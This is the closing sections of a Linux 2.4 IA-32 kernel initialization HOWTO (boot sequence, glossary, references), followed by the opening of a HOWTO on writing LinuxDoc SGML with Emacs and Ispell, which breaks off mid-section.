This allows "calibrate_delay()" (below) to work.

calibrate_delay

Calculate the "loops_per_jiffy" delay loop value and print it in BogoMIPS.

INITRD setup

#ifdef CONFIG_BLK_DEV_INITRD

        if (initrd_start && !initrd_below_start_ok &&
                        initrd_start < (min_low_pfn << PAGE_SHIFT)) {
                printk("initrd overwritten (initrd_start < (min_low_pfn << PAGE_SHIFT)) - disabling it.\n");
                initrd_start = 0;       // mark initrd as disabled
        }

#endif /* CONFIG_BLK_DEV_INITRD */

mem_init

(in linux/arch/i386/mm/init.c)

  • Clear the empty_zero_page.
  • Call free_all_bootmem() and add that released memory to totalram_pages.
  • Count the number of reserved RAM pages.
  • Print the system memory sizes (free/total), kernel code size, reserved memory size, kernel data size, kernel "init" size, and the highmem size.
  • For CONFIG_SMP, call zap_low_mappings().

********** get_free_pages() can be used after mem_init(). **********

kmem_cache_sizes_init

(in linux/mm/slab.c)

Set up remaining internal and general caches. Called after the "get_free_page()" functions have been enabled and before smp_init().

********** kmalloc() can be used after kmem_cache_sizes_init(). **********

proc_root_init

(in linux/fs/proc/root.c)

For CONFIG_PROC_FS configurations:

  • call proc_misc_init()
  • mkdir /proc/net
  • for CONFIG_SYSVIPC, mkdir /proc/sysvipc
  • for CONFIG_SYSCTL, mkdir /proc/sys
  • mkdir /proc/fs
  • mkdir /proc/driver
  • call proc_tty_init()
  • mkdir /proc/bus

mempages = num_physpages;

fork_init(mempages)

(in linux/kernel/fork.c)

The default maximum number of threads is set to a safe value: the thread structures can take up at most half of memory.

proc_caches_init()

(in linux/kernel/fork.c)

Call kmem_cache_create() to create slab caches for signal_act (signal action), files_cache (files_struct), fs_cache (fs_struct), vm_area_struct, and mm_struct.

vfs_caches_init(mempages)

(in linux/fs/dcache.c)

Call kmem_cache_create() to create slab caches for buffer_head, names_cache, filp, and for CONFIG_QUOTA, dquot.

Call dcache_init() to create the dentry_cache and dentry_hashtable.

buffer_init(mempages)

(in linux/fs/buffer.c)

Allocate the buffer cache hash table and init the free list.
Use get_free_pages() for the hash table to decrease TLB misses; use SLAB cache for buffer heads.
Setup the hash chains, free lists, and LRU lists.

page_cache_init(mempages)

(in linux/mm/filemap.c)

Allocate and clear the page-cache hash table.

kiobuf_setup()

(in linux/fs/iobuf.c)

Call kmem_cache_create() to create the kernel iobuf cache.

signals_init()

(in linux/kernel/signal.c)

Call kmem_cache_create() to create the "sigqueue" SLAB cache.

bdev_init()

(in linux/fs/block_dev.c)

Initialize the bdev_hashtable list heads.

Call kmem_cache_create() to create the "bdev_cache" SLAB cache.

inode_init(mempages)

(in linux/fs/inode.c)

  • Allocate memory for the inode_hashtable.
  • Intialize the inode_hashtable list heads.
  • Call kmem_cache_create() to create the inode SLAB cache.

ipc_init()

(in linux/ipc/util.c)

For CONFIG_SYSVIPC configurations, call ipc_init().

The various System V IPC resources (semaphores, messages, and shared memory) are initialized.

dquot_init_hash()

(in linux/fs/dquot.c)

For CONFIG_QUOTA configurations, call dquot_init_hash().

  • Clear dquot_hash. TBD: Why? Is it in BSS? Yes.
  • Clear dqstats. TBD: Why? Is it in BSS? Yes.

check_bugs()

(in linux/include/asm-i386/bugs.h)

  • identify_cpu()
  • For non-CONFIG_SMP configurations, print_cpu_info()
  • check_config()
  • check_fpu()
  • check_hlt()
  • check_popad()
  • Update system_utsname.machine{byte 1} with boot_cpu_data.x86

Start other SMP processors (as applicable)

smp_init() works in one of three ways, depending upon the kernel configuration.

For a uniprocessor (UP) system without an IO APIC (CONFIG_X86_IO_APIC is not defined), smp_init() is empty -- it has nothing to do.

For a UP system with (an) IO APIC for interrupt routing, it calls IO_APIC_init_uniprocessor().

For an SMP system, its main job is to call the architecture-specific function "smp_boot_cpus()", which does the following.

  • For CONFIG_MTRR kernels, calls mtrr_init_boot_cpu(), which must be done before the other processors are booted.
  • Stores and prints the BSP CPU information.
  • Saves the BSP APIC ID and BSP logical CPU ID (latter is 0).
  • If an MP BIOS interrupt routing table was not found, revert to using only one CPU and exit.
  • Verify existence of a local APIC for the BSP.
  • If the "maxcpus" boot option was used to limit the number of CPUs actually used to 1 (not SMP), then ignore the MP BIOS interrupt routing table.
  • Switch the system from PIC mode to symmetric I/O interrupt mode.
  • Setup the BSP's local APIC.
  • Use the CPU present map to boot the APs serially. Wait for each AP to finish booting before starting the next one.
  • If using (an) IO APIC {which is True unless the "noapic" boot option was used}, setup the IO APIC(s).

Start init thread

We count on the initial thread going OK.

Like idlers, init is an unlocked kernel thread, which will make syscalls (and thus be locked).

kernel_thread(init, NULL, CLONE_FS | CLONE_FILES | CLONE_SIGNAL);

{details below}

unlock_kernel()

Release the BKL.

current->need_resched = 1;

cpu_idle()

This function remains as process number 0. Its purpose is to use up idle CPU cycles. If the kernel is configured for APM support or ACPI support, cpu_idle() invokes the supported power-saving features of these specifications. Otherwise it nominally executes a "hlt" instruction.

{end of start_kernel()}

5.2 setup_arch

(in "linux/arch/i386/kernel/setup.c")

Copy and convert system parameter data

Copy and convert parameter data passed from 16-bit real mode to the 32-bit startup code.

For RAMdisk-enabled configs (CONFIG_BLK_DEV_RAM)

Initialize rd_image_start, rd_prompt, and rd_doload from the real-mode parameter data.

setup_memory_region

Use the BIOS-supplied memory map to setup memory regions.

Set memory limits

Set values for the start of kernel code, end of kernel code, end of kernel data, and "_end" (end of kernel code = the "brk" address).

Set values for code_resource start and end and data_resource start and end.

parse_mem_cmdline

Parse any "mem=" parameters on the kernel command line and remember them.

Setup Page Frames

Use the BIOS-supplied memory map to setup page frames.

Register available low RAM pages with the bootmem allocator.

Reserve physical page 0: "it's a special BIOS page on many boxes, enabling clean reboots, SMP operation, laptop functions."

Handle SMP and IO APIC Configurations

For CONFIG_SMP, reserve the page immediately above page 0 for stack and trampoline usage, then call smp_alloc_memory() to allocate low memory for AP processor(s) real mode trampoline code.

For CONFIG_X86_IO_APIC configurations, call find_smp_config() to find and reserve any boot-time SMP configuration information memory, such as MP (Multi Processor) table data from the BIOS.

paging_init()

paging_init() sets up the page tables - note that the first 8 MB are already mapped by head.S.

This routine also unmaps the page at virtual kernel address 0, so that we can trap those pesky NULL-reference errors in the kernel.

Save the boot-time SMP configuration

For CONFIG_X86_IO_APIC configurations, call get_smp_config() to read and save the MP table IO APIC interrupt routing configuration data.

For CONFIG_X86_LOCAL_APIC configurations, call init_apic_mappings().

Reserve INITRD memory

For CONFIG_BLK_DEV_INITRD configurations, if there is enough memory for the initial RamDisk, call reserve_bootmem() to reserve RAM for the initial RamDisk.

Scan for option ROMs

Call probe_roms() and reserve their memory space resource(s) if found and valid. This is done for the standard video BIOS ROM image, any option ROMs found, and for the system board extension ROM (space).

Reserve system resources

Call request_resource() to reserve video RAM memory.

Call request_resource() to reserve all standard PC I/O system board resources.

{end of setup_arch()}

5.3 init thread

The init thread begins at the init() function in "linux/init/main.c". This is always expected to be process number 1.

init() first locks the kernel and then calls do_basic_setup() to perform lots of bus and/or device initialization {more detail below}. After do_basic_setup(), most kernel initialization has been completed. init() then frees any memory that was specified as being for initialization only [marked with "__init", "__initdata", "__init_call", or "__initsetup"] and unlocks the kernel (BKL).

init() next opens /dev/console and duplicates that file descriptor two times to create stdin, stdout, and stderr files for init and all of its children.

Finally init() tries to execute the command specified on the kernel parameters command line if there was one, or an init program or script if it can find one in {/sbin/init, /etc/init, /bin/init}, and lastly /bin/sh. If init() cannot execute any of these, it panics ("No init found. Try passing init= option to kernel.")

5.4 do_basic_setup {part of the init thread}

The machine is now initialized. None of the devices have been touched yet, but the CPU subsystem is up and running, and memory and process management works.

Be the reaper of orphaned children

The init process handles all orphaned tasks.

MTRRs

// SMP init is completed before this.
For CONFIG_MTRR, call mtrr_init() [in linux/arch/i386/kernel/mtrr.c].

SYSCTLs

For CONFIG_SYSCTL configurations, call sysctl_init() [in linux/kernel/sysctl.c].

Init Many Devices

/*
 * Ok, at this point all CPU's should be initialized, so
 * we can start looking into devices..
 */

PCI

For CONFIG_PCI configurations, call pci_init() [in linux/drivers/pci/pci.c].

Micro Channel

For CONFIG_MCA configurations, call mca_init() [in linux/arch/i386/kernel/mca.c].

ISA PnP

For CONFIG_ISAPNP configurations, call isapnp_init() [in linux/drivers/pnp/isapnp.c].

Networking Init

        /* Networking initialization needs a process context */
        sock_init();
[in linux/net/socket.c]

Initial RamDisk

#ifdef CONFIG_BLK_DEV_INITRD

        real_root_dev = ROOT_DEV;
        real_root_mountflags = root_mountflags;
        if (initrd_start && mount_initrd)
                root_mountflags &= ~MS_RDONLY;      // change to read/write
        else
                mount_initrd =0;

#endif /* CONFIG_BLK_DEV_INITRD */

Start the kernel "context" thread (keventd)

[in linux/kernel/context.c]

Initcalls

Call all functions marked as "__initcall":

        do_initcalls();
[in linux/init/main.c]

This initializes many functions and some subsystems --- in no specific or guaranteed order unless fixed in their Makefiles --- if they were built into the kernel, such as:

  • APM: apm_init() {in linux/arch/i386/kernel/apm.c}
  • cpuid: cpuid_init() {in linux/arch/i386/kernel/cpuid.c}
  • DMI: dmi_scan_machine() {in linux/arch/i386/kernel/dmi_scan.c}
  • microcode: microcode_init() {in linux/arch/i386/kernel/microcode.c}
  • MSR: msr_init() {in linux/arch/i386/kernel/msr.c}
  • partitions: partition_setup() {in linux/fs/partitions/check.s}
  • file systems, pipes, buffer and cache management, various binary format loaders, NLS character sets: too numerous to list {in linux/fs/*}
  • user cache (for limits): uid_cache_init() {in linux/kernel/user.c}
  • kmem_cpu_cache: kmem_cpucache_init() {in linux/mm/slab.c}
  • shmem: init_shmem_fs() {in linux/mm/shmem.c}
  • kswapd: kswapd_init() {in linux/mm/vmscan.c}
  • networking, TCP/IP, IPv6, sockets, 802.2, SNAP, LLC, X.25, AX.25, IPX, kHTTPd, ATM LAN emulation (LANE), IP chains/forwarding, NAT/masquerading, packet matching/filtering/logging, firewalling, DECnet, bridging, and other networking protocols too numerous to list {in linux/net/*}
  • drivers, some of which are not exactly device drivers, but help out with bus/device enumeration and initialization, such as:
  • ACPI: acpi_init() {in linux/drivers/acpi/*}
  • PCI: pci_proc_init() {in linux/drivers/pci/*}
  • PCMCIA controllers {in linux/drivers/pcmcia/*}
  • and...
  • atm drivers {in linux/drivers/atm/*}
  • block drivers {in linux/drivers/block/*}
  • CD-ROM drivers {in linux/drivers/cdrom/*}
  • character drivers {in linux/drivers/char/*}
  • I2O drivers {in linux/drivers/i2o/*}
  • IDE drivers {in linux/drivers/ide/*}
  • input drivers (keyboard/mouse/joystick) {in linux/drivers/input/*}
  • ISDN drivers {in linux/drivers/isdn/*}
  • md, LVM, and RAID drivers {in linux/drivers/md/*}
  • radio drivers {in linux/drivers/media/radio/*}
  • video drivers {in linux/drivers/media/video/*}
  • MTD drivers {in linux/drivers/mtd/*}
  • network drivers, including PLIP, PPP, dummy, Ethernet, bonding, Arcnet, hamradio, PCMCIA, Token Ring, and WAN
  • SCSI logical and physical drivers {in linux/drivers/scsi/*}
  • sound drivers {in linux/drivers/sound/*}
  • telephony drivers {in linux/drivers/telephony/*}
  • USB host controllers and device drivers {in linux/drivers/usb/*}
  • video frame buffer drivers {in linux/drivers/video/*}

Filesystems

Call filesystem_setup():

  • init_devfs_fs(); /* Header file may make this empty */
  • For CONFIG_NFS_FS configurations, call init_nfs_fs().
  • For CONFIG_DEVPTS_FS configurations, call init_devpts_fs().
[in linux/fs/filesystems.c]

IRDA

For CONFIG_IRDA configurations, call irda_device_init().
/* Must be done after protocol initialization */
[in linux/net/irda/irda_device.c]

PCMCIA

/* Do this last */
For CONFIG_PCMCIA configurations, call init_pcmcia_ds().
[in linux/drivers/pcmcia/ds.c]

Mount the root filesystem

        mount_root();
[in linux/fs/super.c]

Mount the dev (device) filesystem

        mount_devfs_fs ();
[in linux/fs/devfs/base.c]

Switch to the Initial RamDisk

#ifdef CONFIG_BLK_DEV_INITRD

        if (mount_initrd && MAJOR(ROOT_DEV) == RAMDISK_MAJOR && MINOR(ROOT_DEV) == 0) {
                // Start the linuxrc thread.
                pid = kernel_thread(do_linuxrc, "/linuxrc", SIGCHLD);
                if (pid > 0)
                        while (pid != wait(&i));
                if (MAJOR(real_root_dev) != RAMDISK_MAJOR
                     || MINOR(real_root_dev) != 0) {
                        error = change_root(real_root_dev,"/initrd");
                        if (error)
                                printk(KERN_ERR "Change root to /initrd: "
                                    "error %d\n",error);
                }
        }

#endif /* CONFIG_BLK_DEV_INITRD */

See "linux/Documentation/initrd.txt" for more information on initial RAM disks.

{end of do_basic_setup()}


Linux 2.4.x Initialization for IA-32 HOWTO: Glossary

 Next Previous Contents

6. Glossary

AP: Application Processor, any x86 processor other than the Bootstrap Processor on IA-32 SMP systems

ACPI: Advanced Configuration and Power Interface

APIC: Advanced Programmable Interrupt Controller

APM: Advanced Power Management, a BIOS-managed power management specification for personal computers

BSP: Bootstrap Processor, the primary booting processor on IA-32 SMP systems

BSS: Block Started by Symbol: the uninitialized data segment

BKL: Big Kernel Lock, the Linux global kernel lock

CRn: Control Register n, i386-specific control registers

FPU: Floating Point Unit, a separate math coprocessor device

GB: gigabyte (1024 * 1024 * 1024 bytes)

GDT: Global Descriptor Table, an i386 memory management table

IA: Intel Architecture (also i386, x86)

IDT: Interrupt Descriptor Table, an i386-specific table that contains information used in handling interrupts

initrd: initial RAM disk (see "linux/Documentation/initrd.txt")

IPC: Inter-Process Communication

IPI: Inter-processor Interrupt, a method of signaling interrupts between multiple processors on an SMP system

IRDA: InfraRed Data Association

IRQ: Interrupt ReQuest

ISA: Industry Standard Architecture

KB: kilobyte (1024 bytes)

LDT: Local Descriptor Table, an i386-specific memory management table that is used to describe memory for each non-kernel process

MB: megabyte (1024 * 1024 bytes)

MCA: Micro Channel Architecture, used in IBM PS/2 computers

MP: Multi-processor

MSW: Machine Status Word

MTRR: Memory Type Range Registers

PAE: Physical Address Extension: extends the address space to 64 GB instead of 4 GB

PCI: Peripheral Component Interconnect, an industry standard for connecting devices on a local bus in a computer system

PCMCIA: Personal Computer Memory Card International Association; defines standards for PCMCIA cards and CardBus PC Cards

PIC: Programmable Interrupt Controller

PNP: Plug aNd Play

PSE: Page Size Extension: allows 4 MB pages

SMP: Symmetric Multi Processor/Processing

TLB: Translation Lookaside Buffer, i386-specific processor cache of recent page directory and page table entries

TSS: Task State Segment, an i386-specific task data structure

UP: Uniprocessor (single CPU) system.


Linux 2.4.x Initialization for IA-32 HOWTO: References

 Next Previous Contents

7. References

  1. Tigran Aivazian, "Linux Kernel Internals" (URL: http://www.moses.uklinux.net/patches/lki.html)
  2. Werner Almesberger, x86 Booting. (URL: ftp://icaftp.epfl.ch/pub/people/almesber/booting/)
  3. Werner Almesberger, "LILO Generic boot loader for Linux: Technical overview." December 4, 1998. Included in LILO distribution.
  4. Werner Almesberger and Hans Lermen, Using the initial RAM disk (initrd). (file: linux/Documentation/initrd.txt)
  5. H. Peter Anvin, "The Linux/I386 Boot Protocol (file: linux/Documentation/i386/boot.txt)
  6. Michael Beck et al, "Linux Kernel Internals," second edition. Addison-Wesley, 1998.
  7. Ralf Brown's Interrupt List, URL: http://www.ctyme.com/intr/int.htm {browsable}
  8. Ralf Brown's Interrupt List, URL: http://www.delorie.com/djgpp/doc/rbinter/ix/ {browsable}
  9. Ralf Brown's Interrupt List, URL: http://www.cs.cmu.edu/ ralf/files.html {zipped, not browsable}
  10. E820 memory sizing method: URL: http://www.teleport.com/ acpi/acpihtml/topic245.htm
  11. IBM Personal Computer AT Technical Reference. 1985.
  12. IBM Personal System/2(r) and Personal Computer BIOS Interface Technical Reference, second edition. 1988.
  13. Hans Lermen and Martin Mares, "Summary of empty_zero_page layout." (file: linux/Documentation/i386/zero-page.txt)
  14. linux/Documentation directory files
  15. Martin Mares, "Video Mode Selection Support." (file: linux/Documentation/svga.txt)
  16. Scott Maxwell, "Linux Core Kernel Commentary." Coriolis Press, 1999.
  17. Mindshare, Inc., Tom Shanley, "Pentium(r) Pro and Pentium(r) II System Architecture," second edition. Addison-Wesley, 1998.
  18. Allesandro Rubini, "Linux Device Drivers." O'Reilly and Associates, 1998.
  19. URL: ftp://linux01.gwdg.de/pub/cLIeNUX/interim/Janet_Reno.tgz
  20. URL: http://www.eecs.wsu.edu/~cs640/ (was dead at last check)
  21. URL: http://www.linuxbios.org + "Papers"


LinuxDoc+Emacs+Ispell-HOWTO

Author: Philippe MARTIN ( feloy@wanadoo.fr)
Translator: Sébastien Blondeel ( Sebastien.Blondeel@lifl.fr)

v0.4, 27 February 1998

This document is aimed at writers and translators of Linux HOWTOs or any other paper for the Linux Documentation Project. It gives them hints at using tools including Emacs and Ispell.

1. Preamble

  • 1.1 Copyright
  • 1.2 Credits
  • 1.3 Comments
  • 1.4 Versions

2. Introduction

  • 2.1 SGML
  • 2.2 The LinuxDoc Type Definition
  • 2.3 SGML-Tools

3. Your first document.

  • 3.1 From a text document

4. Configuring Emacs

  • 4.1 Accented Characters
  • 4.2 SGML mode
  • 4.3 PSGML mode
  • 4.4 Miscellaneous

5. Ispell

  • 5.1 Choosing your default dictionaries
  • 5.2 Selecting special dictionaries for certain files
  • 5.3 Spell-checking your document
  • 5.4 Personal dictionary versus local file dictionary
  • 5.5 Typing spell-checking

6. Dirty Tricks

  • 6.1 Inserting a header automatically

Appendix

7. An insert-sgml-header function


LinuxDoc+Emacs+Ispell-HOWTO: Preamble

 Next Previous Contents

1. Preamble

1.1 Copyright

Copyright Philippe Martin 1998
You may redistribute and/or modify this document as long as you comply with the terms of the GNU General Public Licence, version 2 or later.

1.2 Credits

Special thanks go to Sébastien Blondeel, who is a nasty bugger and asked me so much about Emacs setup. His clever questions have allowed me to understand it better and pass the knowledge to you through this document.

1.3 Comments

Do not hesitate to tell me any thing you think will help make this document better. I will examine your critics thoroughly.
Do not hesitate as well to ask me any questions related to topics discussed here. I will be more than happy to answer them, as they may help me further improve this document.

Translator note: If the English is ugly, well then that goes to me!

1.4 Versions

This paper is about the following versions:

  • Sgml-tools version 0.99,
  • Emacs version 19.34,
  • Ispell version 3.1,
  • All Emacs libraries referred to in this document are distributed with the above Emacs version, apart from iso-sgml, which is distributed with XEmacs, and psgml, which is a stand-alone library.


LinuxDoc+Emacs+Ispell-HOWTO: Introduction

 Next Previous Contents

2. Introduction

2.1 SGML

Standard Generalised Mark-up Language, or SGML, is a language to define document types.

For instance, one may define the document type recipe, with a first part presenting the ingredients, a second part introducing the accessories, a third part giving step by step instructions for baking the cake, and a nice final picture to show the outcome of it all.

This is called a Document Type Definition. It does not define what the final product will look like, it only defines what it may contain.

To use the same example again, I'm sure that upon reading my idea of a recipe, you recognised yours, or your favourite cook's. Nevertheless, they actually look different: mine have a picture in the upper left corner of the bathroom cupboard, and the ingredients list can be found in the back garden, between the swimming pool and the barbecue. Yours?

Thanks to this standard definition, one can write a document, without taking into account what it will look like in the end to the reader.

2.2 The LinuxDoc Type Definition

This type is used to write, as you might have guessed, documents related to Linux.

Such documents are generally built as follows: they start with a title followed by the name of the author, and the version number and date. Then comes the abstract (so you don't have to browse through it before realizing it isn't what you were looking for after all), then the contents which show the structure so that those in a rush can go directly to the part they want to read.

Then comes a list of chapters, sections, paragraphs. Among these, one can insert bits of programs, change the font to emphasise a word or a sentence, insert lists, refer to another part of the document, etc.

To write such a document, you just need to specify at the right time the title, the author, the date, and the document version, the chapters and sections, say when a list is to be inserted, what its elements are etc.

2.3 SGML-Tools

SGML-Tools will turn the specification of a document into the final result in the form you prefer. If you want it in your personal library, you will choose PostScript. If you want to share it with the world through the Web, it will be HTML. If you can't help it and must read it under Windows, you can turn it into RTF to be able to read it with any word processor. Or maybe use all three formats to accommodate your changing moods.

SGML-Tools are available via anonymous FTP at ftp://ftp.lip6.fr/pub/sgml-tools/


LinuxDoc+Emacs+Ispell-HOWTO: Your first document.

 Next Previous Contents

3. Your first document.

3.1 From a text document

If you want to turn a text document into SGML to port it to other formats, this is the way to go:

  1. Add the following lines at the very beginning:
            <!doctype linuxdoc system>
         <article>
          <title>Title Goes Here</title>
          <author>
           name of author, author's e-mail, etc.
          </author>
          <date>
           version and date
          </date>
  2. If you describe briefly the contents of the document in the beginning, surround that paragraph with the <abstract> and </abstract> tags.
  3. Then insert the <toc> tag, which stands for Table Of Contents.
  4. At the beginning of each new chapter, replace the line giving the number and title of the chapter with:
           <sect>The Title Of The Chapter
    and add the </sect> tag at the end of the chapter.

    Note : You don't have to put the chapter number, this is done automatically.

  5. Proceed in the same way for sections. You need to delete their numbers and tag their titles with <sect1> and they end with </sect1>.
  6. You can also define as many as 4 levels of nesting in the sections, using <sectn> and </sectn> where n= 2, 3, or 4 in a similar way.
  7. In the beginning of each paragraph, insert the <p> tag.
  8. If you need to emphasise some parts, tag them with <it> and </it> (italics), <bf> and </bf> (bold face), or <tt> and </tt> (typewriter style).
  9. To insert a list like the following one:
            This is a four lines list:

         - first line goes here
         - second line comes next
         - yet another one
         - that's it.
    you must replace it with:
            This is a four lines list:
       <itemize>
       <item>first line goes here
       <item>second line come next
       <item>yet another one
       <item>that's it.
       </itemize>
  10. When a whole block is a part of a program, or something else that needs to stick out:
           <verb>
        10 REM Oh my God what's this?
        20 REM I thought this had long disappeared!
        30 PRINT "I am back to";
        40 PRINT "save the world."
        50 INPUT "From whom, do you reckon? ",M$
        60 IF M$="Bill" THEN PRINT "Thou art wise.":GOTO PARADISE
        70 ELSE PRINT "You ain't got a clue...":GOTO RICHMOND
        </verb>
  11. Thus far, your SGML formating skills are fairly decent. If you want to refine your document, you may have a look at the user's guide for SGML-Tools, which gives more details about the LinuxDoc document type.


LinuxDoc+Emacs+Ispell-HOWTO: Configuring Emacs

 Next Previous Contents

4. Configuring Emacs

4.1 Accented Characters

If you want to write documents in French or in any other western European language, you will need 8-bit characters. This is how to set Emacs up to tell it to accept such characters.

The displaying of 8-bit characters

To let Emacs display 8-bit characters, you will need the following lines in your .emacs file:

       (standard-display-european 1)
       (load-library "iso-syntax")

If you are using Emacs on a terminal which has no 8-bit support, you can use the iso-ascii library ((load-library "iso-ascii")), which tells Emacs to display such characters to its best approximation.

The typing of 8-bit characters

If your keyboard allows you to enter accented characters, no problem. If not here are some remedies:

The iso-acc library

The Emacs iso-acc library will let you type 8-bit characters from a 7-bit keyboard.

To use it, insert the following in your .emacs file:

      (load-library "iso-acc")

Then, upon running Emacs and opening the file you need to edit, type Meta-x iso-accents-mode.

You can then enter the é of the French word café typing ' then e. More generally, you will type an accented character typing the accent first, then the letter to accent (upper or lower case). The following are the accents you may use:

  • ' : Acute
  • ` : Grave
  • ^ : Circumflex
  • " : Dieresis
  • ~ : Tilde, cedilla, and other particular cases (cf iso-acc.el).
  • / : To bar a letter, etc.

    • If you need one of these characters and not an accented letter, type a space next to it. For instance, to type l'éléphant, type l ' spc ' e l ' e ...

    You will find all the possible combinations in the iso-acc.el file.

    The Meta key

    Some terminals will let you type 8-bit characters with the Meta (or Alt) key. For example, pressing Meta-i will get you the é character.

    But Emacs reserved the Meta key for other uses, and I know of no library which lets you use it for accented characters.

    This is a solution:

          (global-set-key "\ei" '(lambda () (interactive) (insert ?\351)))
                         _                                      ___

    Such a line, if inserted in your .emacs file, will let you type é using the Meta-i keystroke. You can redefine in such a way the combinations you need if you replace i with the right key and 351 with the right code (the code being taken from the ISO-8859-1 character set).

    Warning! Some local modes may redefine such key combinations.

    The displaying of 8-bit SGML characters

    Under SGML, you can type accented characters with macros. For example, the é key is &eacute;. Generally, the applications that need to read SGML can read 8-bit characters and there is no need to use these macros. But some may not be able to do so. Given that there is a way to solve this problem, it would be a waste to let these crash.

    The iso-sgml library will let you type accented characters under Emacs, like always, but upon saving your file to the disk, it will turn these 8-bit characters into their SGML equivalent.

    It is therefore easy, thanks to this library, to type and reread your document under Emacs, and you can be sure a non 8-bit clean application will accept you document.

    To use this library, you just need to add the following lines to your .emacs file:

          (setq sgml-mode-hook
      '(lambda () "Defaults for SGML mode."
       (load-library "iso-sgml")))

    4.2 SGML mode

    Upon loading a file with the .sgml extension, Emacs enters the sgml mode automatically. If it doesn't, you can tell it to do so manually by typing Meta-x sgml-mode, or automatically by adding the following lines to your .emacs file:

          (setq auto-mode-alist
      (append '(("\.sgml$"  . sgml-mode))
                auto-mode-alist))

    This mode will let you choose how to insert 8-bit characters for example. With Meta-x sgml-name-8bit-mode (or the menu item SGML/Toggle 8-bit insertion), you can choose to type 8-bit characters as is, or in SGML form, i.e. in the form &...;.

    It will as well let you hide or show SGML tags, with Meta-x sgml-tags-invisible (or the menu item SGML/Toggle Tag Visibility).

    4.3 PSGML mode

    PSGML mode helps a lot to edit SGML documents with Emacs.

    The psgml-linuxdoc documentation explains how to install this mode and use it with LinuxDoc.

    4.4 Miscellaneous

    auto-fill mode

    In the normal mode, when you type a paragraph and get to the end of the line, you must use the Return key yourself to get to the next line, or else your line goes on through the whole paragraph. When you use Return to get to the next line, you get a paragraph with ragged right margins.

    If you let some lines go beyond a reasonable width, you won't be able to see them with some editors.

    The auto-fill mode automates this boring task: when you go further than a certain column (the 70th by default), you are automatically taken to the next line.

    This is how to use this mode, and set the width of your lines to 80:

           (setq sgml-mode-hook
             '(lambda () "Defaults for SGML mode."
                 (auto-fill-mode)
                 (setq fill-column 80)))


LinuxDoc+Emacs+Ispell-HOWTO: Ispell

 Next Previous Contents

5. Ispell

If you want to spell-check your document from within Emacs, you may use the Ispell package and its Emacs mode.

5.1 Choosing your default dictionaries

You can set up Emacs so that upon loading a file, it chooses automatically which dictionaries to use (you can use several). The first one, certainly the most important, is the main dictionary, distributed with Ispell. You can choose among several languages. The second one is your personal dictionary, where Ispell will insert words it couldn't find in the main dictionary but you told it to remember.

If you wish to use as a default dictionary the French dictionary that comes with Ispell, and if you wish to use the file .ispell-dico-perso in your home directory as a personal dictionary, insert the following lines in your .emacs file:

       (setq sgml-mode-hook
       '(lambda () "Defauts for SGML mode."
       (setq ispell-personal-dictionary "~/.ispell-dico-perso")
       (ispell-change-dictionary "francais")
       ))

5.2 Selecting special dictionaries for certain files

You may have a little problem if you do not spell-check documents in the same language at all times. If you translate documents, it is very likely that you swap languages (and dictionaries) very often.

I don't know of any Lisp way of selecting, either automatically, or with a single mouse click, the main and personal dictionaries associated to the language currently being used. (If you do, please tell me!)

However, it is possible to indicate, at the end of the file, which dictionaries you want to use for the current file (and only this one). It suffices to add them as commentaries, so that Ispell can read them upon launching a spell-check:

      <!-- Local IspellDict: english -->
      <!-- Local IspellPersDict: ~/emacs/.ispell-english -->

If you have previously defined, in your .emacs file, that your default dictionaries are the French dictionaries, then you can add these lines in the end of any file written in English.

5.3 Spell-checking your document

To spell-check the whole of your document, use, from anywhere in the document the Meta-x ispell-buffer command. You may as well only run the checking on a region in your document:

  • Mark the beginning of the region with Ctrl-Spc (mark-set-command),
  • Go to the end of the region to check,
  • type Meta-x ispell-region.

Emacs then runs Ispell. Upon meeting an unknown word, this one shows you said word (usually highlighted) and prompts you for a key:

  • spc accepts the word, this time only,
  • i accepts the word and inserts it in your personal dictionary,
  • a accepts the word for this session,
  • A accepts the word for this file, and inserts it in the local file dictionary
  • r allows you to correct the word by hand
  • R allows you to correct all the occurrences of the misspelled word,
  • x stops the checking, and puts the cursor back in place,
  • X stops the checking and leaves the cursor where it is, letting you correct your file; you will be able to continue the spell-checking later if you type Meta-x ispell-continue,
  • ? gives you online help.

If ispell finds one or several words close to the unknown one, it will show them in a little window, each one of them preceded by a digit. Just type this digit to replace the misspelled word with the corresponding word.

5.4 Personal dictionary versus local file dictionary

The i key will let you insert a word in your personal dictionary, whereas A will let you insert a word in the local file dictionary.

The local file dictionary is a sequence of words inserted at the end of the file, as comments, reread by Ispell each time it is run on the file. This way, you can accept some words, acceptable in this file, but not necessarily acceptable in other files.

As far as I am concerned, I think it is better that the personal dictionary be reserved for words the main dictionary doesn't know but which belong to the language (like hyphenated words), plus some common words like proper nouns or others (like Linux), if they don't look too much like a real word of the main dictionary; adding too many words in the personal dictionary, such as first names, may be dangerous, because they may look like a word of the language (one can imagine Ispell being mystified on the following: `When the going gets tof, the tof get going

Tof is a French abbreviation for the first name Christophe.
'!).

5.5 Typing spell-checking

Ispell can spell-check your file while you're typing. You need to use ispell-minor-mode for this. To start it or stop it, type Meta-x ispell-minor-mode. Ispell will beep you each time you type a word it doesn't know.

If those beeps hassle you (or your roommate is taking a nap), you can replace those annoying beeps with a flash on the screen, with the command Meta-x set-variable RET visible-bell RET t RET. You can add the following line in your .emacs and silence Emacs forever:

       (setq visible-bell t)


LinuxDoc+Emacs+Ispell-HOWTO: Dirty Tricks

 Next Previous Contents

6. Dirty Tricks

6.1 Inserting a header automatically

Emacs allows you to hook some actions to any event (opening of a file, saving, running a new mode, etc).

The autoinsert library uses this feature: when you open a new file under Emacs, this library inserts, according to the type of the file, a standard header.

In our case, this standard header could well be the part declaring the document type (LinuxDoc), the title, the author, and the date.

I will describe here two ways to insert such a header. You could insert a template file containing the information to insert, or you could run an elisp routine.

by inserting a file

You must first tell Emacs to run the auto-insert when opening a file, then to read the autoinsert library which declares the auto-insert-alist list which we need to change. This list defines the header to insert for each file type. By default, the file to insert must be in the ~/insert/ directory, but it is possible to redefine the auto-insert-directory variable if you want to put it somewhere else.

Add the following lines to your .emacs file to insert the ~/emacs/sgml-insert.sgml file each time you open a new SGML file:

      (add-hook 'find-file-hooks 'auto-insert)
      (load-library "autoinsert")
      (setq auto-insert-directory "~/emacs/")
      (setq auto-insert-alist
            (append '((sgml-mode .  "sgml-insert.sgml"))
                    auto-insert-alist))

You can then write in the ~/emacs/sgml-insert.sgml file your customised header, then re-run Emacs and open some foobar.sgml file. Emacs should ask you to confirm the automatic insertion, and if you answer yes, insert your header.

by running a routine

